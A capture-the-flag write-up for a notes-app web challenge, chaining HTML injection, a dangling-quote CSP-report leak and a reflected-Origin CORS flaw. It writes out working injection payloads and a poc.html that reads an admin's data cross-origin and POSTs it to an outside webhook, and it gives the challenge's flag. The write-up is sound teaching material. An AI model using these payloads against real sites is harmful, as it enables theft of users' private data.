Introduction Link to heading

Hi folks! This write-up documents my solution to Intigriti’s June 2026 Challenge created by xhalyl. The goal was to find a hidden flag (in the format INTIGRITI{.*}) by exploiting a chain of client-side vulnerabilities in a fictional private notes application.

Warning
Spoiler Alert! This write-up contains the complete solution with detailed exploitation steps. If you want to attempt the challenge yourself first, stop reading now and head over to the challenge page!

Application overview Link to heading

The challenge presents a private notes web application called “Inside Job”. The main routes are as follows.

/register and /login Link to heading

Inside Job Login

Inside Job Login (/login)

Standard HTML forms that submit username and password (encoded as application/x-www-form-urlencoded) to themselves via POST.

Interestingly, all ASCII printable characters are accepted in the username field.

After a successful login the server issues a Flask session cookie. The cookie’s three Base64URL-encoded segments separated by dots are a JSON payload ({"user_id":..., "username":"..."}), a timestamp-based nonce, and an HMAC-SHA1 signature. The secret key is unknown, so the cookie cannot be forged, only read.

The most important detail here is the SameSite=None attribute of the session cookie: the browser attaches this cookie to every request towards the challenge origin, even when those requests are initiated from a different site.

/notes Link to heading

An authenticated route that lets users create private notes (via a form POSTing title and content) and list them.

An authenticated route for searching notes by title prefix. The server sets a strict Content Security Policy (CSP) on every response via the HTTP Content-Security-Policy response header:

default-src 'none'; script-src 'nonce-<NONCE>'; style-src 'nonce-<NONCE>'; form-action 'self'; base-uri 'none'; report-uri /csp-report/<OWNER>

Only scripts and stylesheets bearing the per-request server-generated nonce may execute; all other resources are blocked. CSP violations are reported to /csp-report/<OWNER>.

Three query parameters accept user input and deserve close attention:

  • The q query parameter is used as a title-prefix filter.

    Two different rendering paths exist:

    • If one or more notes match the provided prefix, only the matching notes are displayed and the value of q is not reflected anywhere in the response.

    • If no notes match the prefix, the application displays a message of the form:

      ...
                  <p>REFLECTED not found</p>
              </section>
          </main>
      </body>

      In this case the value of q is reflected unencoded into the page body near the very end of the page. Additionally, instead of displaying an empty result set, the application falls back to displaying all notes.

  • The description query parameter is reflected unencoded into the content attribute of the <meta name="description"> element inside the <head> element near the beginning of the page:

    ...
        <meta name="description" content="Notes search — REFLECTED">
    </head>

    Injecting a <meta http-equiv="Content-Security-Policy"> through this parameter looks appealing, but the HTML specification only allows a meta CSP tag to make a policy stricter, never to loosen it.

  • The owner query parameter is sanitised with a regular expression that keeps only characters in [a-zA-Z0-9_-] (the Base64URL alphabet), truncated to 64 characters, and then substituted into the report-uri directive:

    report-uri /csp-report/<OWNER>

    If owner is supplied as an empty string (i.e. owner=) the server falls back to reading the username field directly from the session cookie payload, without sanitisation. This could look promising: since all ASCII printable characters are accepted in the username field, I could create an account with ; script-src-elem *; connect-src * as username and bypass the strict CSP. It works but it is useful only for self-XSS since the cookie is not forgeable.

/report Link to heading

An authenticated route where users submit a path on the challenge site for the admin bot to visit. The path must start with / and must include an owner query parameter whose value corresponds to an existing account. In cases of HTTP Parameter Pollution (multiple owner values), only one needs to be valid.

To confirm an admin account exists, I submitted the /search?owner=admin path, which was succefully reported.

Inside Job Report

Inside Job Report (/report)

To confirm that an admin bot is running, I injected a meta-refresh redirect into the description query paramater of the /search page and reported the URL via /report endpoint:

<meta name="referrer" content="unsafe-url">
<meta http-equiv="refresh" content="1; url=<WEBHOOK>">

Shortly afterwards my webhook received a request with the following User-Agent:

Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/133.0.6943.16 Safari/537.36

A headless Chrome instance is visiting the reported URL.

/csp-report/<OWNER> Link to heading

This endpoint stores and serves CSP violation reports produced by the browser. GET requests without authentication/authorization return 403 Forbidden. Only the admin user could be allowed to read CSP violation reports.

Critically, when the HTTP Origin request header is present, the server mirrors it verbatim in the HTTP Access-Control-Allow-Origin response header, while also setting HTTP Access-Control-Allow-Credentials response header to true.

This effectively removes any same-origin restriction: a page on any origin can read the stored report for a given username, provided it supplies the Origin header and the right session cookie.

Understanding the vulnerability chain Link to heading

With all the moving parts identified, three independent vulnerabilities can be chained into a single attack.

Vulnerability #1: HTML injection via reflected query parameters Link to heading

Both the description and q query parameters land in the page without HTML-encoding.

The description query parameter is reflected inside a content="..." attribute in <head>. A payload of the form "><injected> breaks out of that attribute and injects arbitrary markup into the document head.

The following payload simultaneously queues a <meta http-equiv="refresh"> redirect to the attacker’s PoC page and opens a <script> element with an unclosed single-quoted src attribute:

"><meta http-equiv="refresh" content="1; url=<POC_URL>"><script src='

Once the HTML parser enters the single-quoted attribute value for src, it consumes all subsequent characters: across </head>, across <body>, and through the entire page body, until it finds a matching '.

The q query parameter provides that closing '. With q set to %00%27%3E%3C%2Fscript%3E (i.e. \x00'></script>), the value that eventually appears in the page is:

'></script>

The null byte is not used for HTML parsing tricks. Its sole purpose is to influence the application’s search logic.

By supplying a null byte as the first character of the title prefix, the search no longer matches any note title. This forces the application into its “not found” code path, which has two important side effects:

  1. the value of q is reflected into the page;
  2. all notes are displayed.

The subsequent ' character is what actually matters for the HTML injection, since it terminates the previously opened src=' attribute. Finally ></script> finishes the element.

The browser now tries to load a script from a URL that encodes all notes of the logged-in user as part of its path. Because the <script> element carries no nonce, the CSP engine blocks the request and POSTs a CSP violation report to /csp-report/<OWNER>. The blocked-uri field of that report is the URL the browser attempted to fetch, and almost the entire page content is embedded within it.

This works particularly well because the page does not contain any single quote characters before the q reflection point, which happens at the very end of the page. Had a ' appeared earlier in the page, the attribute would have terminated prematurely and the exfiltration would have been incomplete.

Vulnerability #2: CORS bypass via reflected Origin Link to heading

The /csp-report/<OWNER> endpoint mirrors any HTTP Origin request header it receives back as Access-Control-Allow-Origin, while setting Access-Control-Allow-Credentials: true. Because the attacker controls the <OWNER> segment through the owner query parameter on /search, they own the endpoint that will receive the admin’s CSP violation report. A page on the attacker’s server can therefore read the stored report by including an Origin header in the request:

const response = await fetch(HOST + "/csp-report/" + OWNER, {
    method: "GET",
    credentials: "include",
    headers: { "Origin": window.location.origin }
});

The reflected origin in the response satisfies the browser’s CORS check, making the cross-origin read succeed.

For the cross-origin fetch above to be authenticated and authorized, so that the server returns the CSP violation report rather than a 403, the admin’s session cookie must travel with cross-site requests. SameSite=None attribute guarantees exactly that: the admin’s cookie accompanies every request their browser makes, regardless of the initiating origin.

Exploitation Link to heading

The full attack chains all three vulnerabilities in sequence.

Prerequisites

  • poc.html hosted on a publicly reachable HTTPS server
  • A webhook endpoint for receiving the exfiltrated data
  • An attacker-controlled account on the challenge site

Step 1: craft the malicious /search URL

Three query parameters are assembled as follows (values shown URL-decoded for readability):

  • description: "><meta http-equiv="refresh" content="1; url=<POC_URL>"><script src='
  • q: \x00'></script>
  • owner: <OWNER>

Step 2: report the URL to the admin bot

The crafted path is submitted to /report. The owner parameter references the attacker’s own registered username, which satisfies the “must be a valid account” requirement.

Step 3: admin bot visits the URL

The admin’s headless Chrome executes the following sequence:

  1. The description injection breaks out of the meta tag, plants the meta-refresh redirect to poc.html, and opens <script src='.
  2. The null byte in q causes the server to perform an empty-prefix search, so all of the admin’s notes (including the one with the flag) are rendered into the page body. The q value is then echoed, and the ' after the null byte closes the src attribute. ></script> closes the element.
  3. Chrome attempts to load a script whose URL encodes the admin’s note listing, including the flag. The CSP engine blocks the request (no valid nonce) and sends a CSP violation report to /csp-report/<OWNER>, with the flag embedded in blocked-uri.
  4. One second later the meta-refresh fires, navigating the admin’s browser to poc.html.

Step 4: poc.html exfiltrates the data

poc.html fetches the CSP report from the challenge host (the admin’s SameSite=None cookie is attached by the browser automatically, and the reflected Origin header authorises the cross-origin read), then forwards the JSON to the webhook:

const report = await fetch(HOST + "/csp-report/" + OWNER, {
    method: "GET",
    credentials: "include",
    headers: { "Origin": window.location.origin }
});

fetch(WEBHOOK, {
    method: "POST",
    headers: {
        "Content-Type": "application/json"
    },
    body: JSON.stringify(report)
});

Step 5: read the flag

The webhook receives the CSP violation report. The flag is found in the blocked-uri field:

INTIGRITI{019ea42e-f5af-76ea-85d7-7459d17736ce}

Challenge completed!